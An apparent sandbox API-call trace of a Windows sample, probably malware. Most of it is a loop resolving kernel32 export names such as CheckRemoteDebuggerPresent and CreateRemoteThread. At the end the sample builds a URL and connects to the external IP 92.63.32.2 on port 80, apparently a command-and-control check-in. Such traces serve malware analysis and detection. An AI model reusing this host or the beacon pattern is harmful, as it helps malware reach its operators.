lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0085.363] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0085.363] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0085.363] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0085.363] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0085.363] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0085.363] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0085.363] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0085.363] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0085.363] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0085.363] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0085.363] lstrlenA (lpString="CLOSESTATE") returned 10 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0085.363] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0085.363] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0085.363] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0085.363] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0085.363] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0085.363] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0085.363] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0085.364] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0085.364] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0085.364] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0085.364] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0085.364] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0085.364] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0085.364] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0085.364] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0085.364] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0085.364] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0085.364] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0085.364] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0085.364] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0085.364] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0085.364] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0085.364] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0085.364] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0085.364] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0085.364] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0085.364] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0085.364] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0085.364] lstrlenA (lpString="COPYCONTEXT") returned 11 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0085.365] lstrlenA (lpString="COPYFILE2") returned 9 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0085.365] lstrlenA (lpString="COPYFILEA") returned 9 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0085.365] lstrlenA (lpString="COPYFILEEXA") returned 11 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0085.365] lstrlenA (lpString="COPYFILEEXW") returned 11 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0085.365] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0085.365] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0085.365] lstrlenA (lpString="COPYFILEW") returned 9 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0085.365] lstrlenA (lpString="COPYLZFILE") returned 10 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0085.365] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0085.365] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0085.365] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0085.365] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0085.365] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0085.365] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0085.365] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0085.365] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0085.365] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0085.365] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0085.365] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0085.365] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0085.365] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0085.365] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0085.366] lstrlenA (lpString="CREATEEVENTA") returned 12 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0085.366] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0085.366] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0085.366] lstrlenA (lpString="CREATEEVENTW") returned 12 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0085.366] lstrlenA (lpString="CREATEFIBER") returned 11 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0085.366] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0085.366] lstrlenA (lpString="CREATEFILE2") returned 11 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0085.366] lstrlenA (lpString="CREATEFILEA") returned 11 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0085.366] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0085.366] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0085.366] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0085.366] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0085.366] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0085.366] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0085.366] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0085.366] lstrlenA (lpString="CREATEFILEW") returned 11 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0085.366] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0085.366] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0085.366] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0085.366] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0085.366] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0085.366] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0085.367] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0085.367] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0085.367] lstrlenA (lpString="CREATEJOBSET") returned 12 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0085.367] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0085.367] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0085.367] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0085.367] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0085.367] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0085.367] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0085.367] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0085.367] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0085.367] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0085.367] lstrlenA (lpString="CREATEPIPE") returned 10 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0085.367] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0085.367] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0085.367] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0085.367] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0085.367] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0085.367] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0085.367] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0085.367] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0085.367] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0085.368] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0085.368] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0085.368] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0085.368] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0085.368] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0085.368] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0085.368] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0085.368] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0085.368] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0085.368] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0085.368] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0085.368] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0085.368] lstrlenA (lpString="CREATETHREAD") returned 12 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0085.368] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0085.368] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0085.368] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0085.368] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0085.368] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0085.368] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0085.368] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0085.368] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0085.369] GetTickCount () returned 0x2af8f [0085.369] GetTickCount () returned 0x2af8f [0085.369] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0085.370] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.370] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0085.370] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.32.2/messages/check/ltbyk.html?cha=ej4t43guw&jep=00") returned 64 [0085.370] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0085.370] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0085.371] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x3050000 [0085.371] VirtualAlloc (lpAddress=0x0, dwSize=0x3a, flAllocationType=0x3000, flProtect=0x4) returned 0x3060000 [0085.371] lstrlenA (lpString="kernel32.dll") returned 12 [0085.371] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.372] inet_pton (in: Family=2, pszAddrString="92.63.32.2", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0085.372] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0085.374] socket (af=2, type=1, protocol=6) returned 0x364 [0085.378] inet_addr (cp="92.63.32.2") returned 0x2203f5c [0085.378] htons (hostshort=0x50) returned 0x5000 [0085.378] connect (s=0x364, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.32.2"), namelen=16) returned 0 [0085.826] lstrlenA (lpString="kernel32.dll") returned 12 [0085.826] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0085.826] lstrlenA 